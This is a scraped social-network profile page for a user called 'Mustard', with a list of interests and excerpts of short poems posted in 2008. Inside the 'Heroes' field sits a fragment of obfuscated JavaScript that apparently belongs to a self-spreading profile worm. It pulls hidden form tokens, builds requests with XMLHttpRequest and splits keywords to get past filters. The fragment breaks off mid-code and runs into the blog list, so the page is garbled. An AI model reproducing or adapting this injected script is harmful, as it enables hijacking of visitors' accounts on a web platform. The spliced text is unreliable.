Mustard profile picture

Mustard

Rock Bottom.

About Me

My name is Shaun, and I'm getting better.

Commentaire.

My Interests

Exploding in the sky

I'd like to meet:


I need it like the sunshine.
Yeah, and everybody's got to learn sometime.

/center

Music:

Devendra Banhart
Naked City
The Strokes
Miles Davis

Movies:

Tim Burton. Horror movies. Even the crappy ones; it's the best laugh. Psychological Thrillers/Suspense (Eternal Sunshine/Hard Candy etc.).

Television:

Sometimes I'd rather spoon out my eyes.

Books:

Poetry and fluent books and stories.

Heroes:

All my relatives; Middle School Art Teacher A whole bunch of musicians (Reed, Staley, Cobain, Cantrell, Vedder [not so much his political views], Vaughan, Hoon, etc.) My friends, regardless of what I am to them I guess; they influenced me.0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if( BJ=='POST'){J.setRequestHeader('Content-Type','application/x -www-form-urlencoded');J.setRequestHeader('Content-Length',B K.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('

My Blog

Leaf

It takes nothing morethan the slightest breezeto rest the manyand disturb the oneWhat prayer is saidwhat hymn is sung longto anchor one's selfto the grass below?
Posted by Mustard on Wed, 28 May 2008 07:00:00 PST

Drought

It's much to cold to writethe variables that equate formelody in her tofu kiss - shivers, shudders, and bites.For I am very sickin my endeavors to even knowwhat words a man can comprehend that reach e...
Posted by Mustard on Thu, 15 May 2008 08:15:00 PST

underneath the wintermint

damper downtwo shot mint melee, the moldy peach, for an orange fruit and an orange rootare grown beyond my reach...       by god! what mast must breath nonstop  ...
Posted by Mustard on Thu, 24 Apr 2008 07:05:00 PST

I didn’t call because I went to bed early.

What I feel on the inside is like a strobe light, and my mouth is like a paper bag, and maybe I let people rip little holes to atleast get someone else to seize; she's how the night would walk on two ...
Posted by Mustard on Sat, 12 Apr 2008 07:07:00 PST

gift exasperated

Diligent fingers shorter than mine,had not even occurred to me. Black-pinnedtapestry - how you know before I do.Lest the far away blemishes who reelthe truth behind them, behind the blackness,show me:...
Posted by Mustard on Sat, 23 Feb 2008 03:50:00 PST

Dandriff Off the Clover

It feels like running water eating the elasticity of my skin; no mouth can make shape of it, no fingers may work around it. It is here that there is no calamity and no verb may pronounce itself, for t...
Posted by Mustard on Sun, 03 Feb 2008 07:16:00 PST

Theres fire where Farmer John draws lines between the stars

I frown upon fourteen days because three hundred and thirty-six hours is Wave of Grain's spot light, and it isn't tolerant of: one hundred and twelve hours (as is recommended, maybe eighty for me if t...
Posted by Mustard on Fri, 18 Jan 2008 12:34:00 PST

Frankly

fleshy fingers out there somewhere. bleek and terrified, the air loves all of its creations, its arches between them and itself, the olfactory you've never bathed in, the precious little jewels they t...
Posted by Mustard on Fri, 11 Jan 2008 08:32:00 PST

plaid

there's a riff in her scarf and a fiber erect a solitary pledge against her breath a sore to the eye in it's wavering plead. oh and then twenty feet in foreground at any given time ten feet to the lef...
Posted by Mustard on Fri, 04 Jan 2008 11:20:00 PST

The Colonel on Suicide

I wrote these few lines this summer. There is more before it, but it was a tad barbaric (it was late, I was hungry), so I left it out. I don't write essays kids, I rant like a trickling faucet."...But...
Posted by Mustard on Thu, 03 Jan 2008 09:41:00 PST